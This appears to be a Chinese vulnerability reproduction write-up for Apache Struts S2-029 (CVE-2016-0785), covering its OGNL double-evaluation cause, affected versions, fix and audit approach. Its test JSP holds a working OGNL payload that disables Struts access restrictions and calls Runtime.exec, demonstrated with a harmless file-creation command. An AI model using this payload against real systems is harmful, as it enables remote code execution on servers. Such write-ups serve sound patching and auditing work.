(CVE-2016-0785)S2-029

一、漏洞简介

代码执行过程大致为先尝试获取value的值,如果value为空,那么就二次解释执行了name。并且在执行前给name加上了"%{}"。最终造成二次执行。因此需要的条件极为苛刻,特殊的代码,value值为空,可以传参到value,控制name,严格来说应该是个本地漏洞。

二、漏洞影响

Struts 2.0.0 - Struts 2.3.24.1(2.3.20.3除外)

三、复现过程

S2-029的公告说是可能的远程代码执行。而且依然是ognl导致的。

The Apache Struts frameworks performs double evaluation of attributes values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.

目前网上已经有一些成熟的参考的资料了。详见文末参考资料。这次的漏洞虽然是代码执行。但是风险不高,需要开发者使用了特定的代码写法才会导致漏洞。需要直接将用户提交的数据通过标签设置成属性值。

比如:

<s:i18n name="%&#123#request.lan&#125">xxxxx</s:i18n>
<set var="%&#123#parameters.tang3&#125"/>

通过%&#123#&#125的方式获取用户输入放入标签属性,会导致代码执行。struts2的修复方式也是直接过滤了%&#123&#125形式的字符串的ognl解析。

1.png

这段代码的修改用来处理掉了非%&#123开头,&#125结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%&#1232+3&#125,在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。

审计方式就是查看是否有%&#123#&#125这种方式获取用户输入变量复制给标签属性的代码写法。

测试代码:

<%@page import="java.util.HashSet"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<html>
<head><title>Demo jsp page</title></head>
<body>
<%
  request.setAttribute("lan", "'),#_memberAccess['allowPrivateAccess']=true,#_memberAccess['allowProtectedAccess']=true,#_memberAccess['allowPackageProtectedAccess']=true,#_memberAccess['allowStaticMethodAccess']=true,#_memberAccess['excludedPackageNamePatterns']=#_memberAccess['acceptProperties'],#_memberAccess['excludedClasses']=#_memberAccess['acceptProperties'],#a=@java.lang.Runtime@getRuntime(),#a.exec('touch /tmp/1111'),new java.lang.String('");
%>
<s:i18n name="%&#123#request.lan&#125">xxxxx</s:i18n>
</body>
</html>

2.png

查看tmp目录文件已经生成。

3.png